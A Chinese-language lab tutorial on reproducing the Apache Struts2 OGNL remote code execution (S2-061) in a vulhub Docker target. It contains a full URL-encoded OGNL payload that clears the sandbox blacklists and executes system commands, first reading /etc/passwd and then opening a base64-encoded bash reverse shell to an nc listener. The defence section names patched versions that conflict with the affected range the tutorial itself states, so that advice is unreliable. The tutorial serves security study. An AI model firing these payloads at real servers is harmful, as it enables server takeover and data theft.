Apache Struts2 OGNL RCE注入
1.什么是Apache Struts2?
Apache Struts2(也称为 Struts2)是一个开源的 Java Web 应用框架。
它主要用于构建企业级 Java EE Web 应用程序,提供 MVC(Model-View-Controller)架构支持,帮助开发者快速开发可维护的 Web 应用。
Struts2 基于 OGNL(Object-Graph Navigation Language)表达式语言来处理数据绑定、表单验证和动态内容渲染等功能。它是 Struts1 的后继版本,从 2006 年左右开始流行,但由于历史漏洞较多,现在许多项目已转向更现代的框架如 Spring MVC。
2.原理
(1) OGNL
OGNL三要素
-
Expression(表达式) 字符串形式的指令,告诉 OGNL “你要做什么”。 例子:
user.name、@java.lang.Runtime@getRuntime().exec('calc')、#session.get('user')等 -
Root(根对象) 操作的“主体对象”,也就是你主要想访问/修改的对象。 在 Struts2 中,Root 默认就是 ValueStack(值栈),值栈最顶层通常是当前的 Action 实例。 → 访问 Root 对象的属性时,不需要加任何前缀,直接写属性名即可。
-
Context(上下文) 一个 Map 结构(OgnlContext),相当于“运行环境”。 里面存放了各种辅助对象、临时变量、环境信息等。 在 Struts2 中,Context 就是 ActionContext,包含了:
#parameters(请求参数)#request#session#application#attr(依次查找 page→request→session→application)- 值栈本身(作为 Root)
→ 访问 Context 里的对象,必须加 # 前缀,例如#session.user、#parameters.name
OGNL中的重要符号
有三个#%$
%
%: 其用途是在标志属性为字符串类型时,计算OGNL表达式的值,类似JS中的函数eval()。
例如:<s:url value =“%{items.{title}[0]}”/>。获取items对象中title属性,title为数组,取数组索引为0位置的值
#
访问 Context(非根对象)里的数据,取 session、request、parameters、application 等时使用
例如:#session.user #parameters.username #request.get('key')
$
1. 在 struts.xml 配置文件里引用 OGNL
2. 在国际化资源文件(.properties)里引用 OGNL
例如:struts.xml 里: 资源文件:welcome=${user.name}
(2) OGNL RCE漏洞原理
OGNL RCE漏洞是 Struts2 中一类常见的严重安全问题,主要源于框架对 OGNL 表达式的处理不当。
OGNL 是一种强大的表达式语言,用于访问 Java 对象的属性和方法.但在 Struts2 中,如果用户输入(如 HTTP 请求头、参数或标签属性)被直接用于 OGNL 求值,而没有充分验证或转义,就会导致注入攻击。
漏洞影响范围
OGNL RCE 漏洞影响了 Struts2 的多个历史版本:
- 常见受影响版本:从
Struts 2.0.0到2.5.x系列(如2.5.25之前),部分 6.x 早期版本有类似问题。但许多旧版本(如 2.3.x)已停止支持(EOL)。
不是所有Struts2应用都易受攻击,取决于配置(如是否使用强制OGNL求值或暴露了特定插件)。但遗留系统特别危险。
3.漏洞复现
漏洞复现环境
准备好docker
- 靶机环境(使用 vulhub靶场):
克隆vulhub仓库
git clone --depth 1 https://github.com/vulhub/vulhub.git
到漏洞地址
cd vulhub/struts2/s2-061
拉取镜像
docker-compose up -d
拉取失败的可以使用这个仓库的镜像源配置工具:
git clone https://github.com/hzhsec/docker_proxy.git
chmod +x *.sh
./docker-proxy.sh
再拉取
docker-compose up -d
使用docker ps查看镜像是否运行
- 尝试id注入代码
http://192.168.41.128:8080/.action?id=%{'hzhsec'+(1+2).toString()}
url编码
http://192.168.41.128:8080/.action?id=%25%7B'hzhsec'%2B(1%2B2).toString()%7D

成功将id的值更换执行
尝试poc
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]). (#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]). (#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)). (#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")). (#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)). (#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/passwd")). (#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
编码:
%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22cat%20%2Fetc%2Fpasswd%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D

成功读取/etc/passwd

尝试修改命令反弹shell
shell命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
替换上面的cat命令
攻击机:
nc -lvvp 4444 启动监听

发送payload
http://192.168.41.128:8080/.action?id=%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTAuNjYuMTA4LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D
成功上线:

poc原理
-
获取 Tomcat 的 InstanceManager
#instancemanager=#application["org.apache.tomcat.InstanceManager"]→ 从ServletContext(application)里拿到Tomcat的实例管理器,它能“暴力”new 出任何类的实例(即使 OGNL 沙箱不允许)。 -
拿到当前的 ValueStack(值栈)
#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]→ 值栈是Struts2的核心,里面存着Action、request、session等所有上下文信息。 -
用
BeanMap魔法绕过访问限制(最核心的沙箱绕过技巧)#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")#bean.setBean(#stack)→ 创建一个BeanMap(一种能把任意对象当 Map 用的黑科技类),然后把值栈塞进去。 之后就能通过.get("context")、.get("memberAccess")这种方式,访问原本不允许直接访问的私有字段。
继续链式操作: → 先拿到 context → 再拿到 _memberAccess(OGNL 的安全管理器对象,控制什么能执行、什么类被禁止)
-
清空沙箱黑名单(真正解除限制)
#emptyset = #instancemanager.newInstance("java.util.HashSet")#bean.put("excludedClasses", #emptyset)#bean.put("excludedPackageNames", #emptyset)→ 把 OGNL 的两个黑名单(禁止的类 + 禁止的包)全部清空成空集合。 → 从此 OGNL 什么类都能用了,什么包都能访问了(沙箱彻底失效)。 -
准备命令并执行
#arglist=#instancemanager.newInstance("java.util.ArrayList")#arglist.add("cat /etc/passwd")→ 创建一个参数列表,里面放要执行的命令。
#execute = #instancemanager.newInstance("freemarker.template.utility.Execute") #execute.exec(#arglist) → 用 Freemarker 自带的 Execute 工具类来执行系统命令(这个类本来不允许被 OGNL 调用,但现在沙箱没了,就能用了)。
**总结: 这个payload 先用 Tomcat InstanceManager + BeanMap 魔法链 → 找到并修改 OGNL 的安全管理器 → 清空所有黑名单 → 最后用 Freemarker 的 Execute 类执行 cat /etc/passwd。
4.漏洞防御
1、升级到Struts 2的安全版本,比如2.3.32或2.5.16,这些版本包含了对应的安全修复
2、禁用OGNL表达式的执行,或者使用Struts 2的安全mechansim。
免责声明
本文档所包含的漏洞复现方法、技术细节及利用代码,仅限用于授权的安全测试、教育学习与研究目的。
严禁在未获得明确授权的情况下,对任何系统进行测试或攻击。任何不当使用所导致的法律责任及后果,均由使用者自行承担。
作者与文档提供者不承担任何因滥用本文档信息而产生的直接或间接责任。请遵守您所在地的法律法规,并始终践行负责任的网络安全实践。

浙公网安备 33010602011771号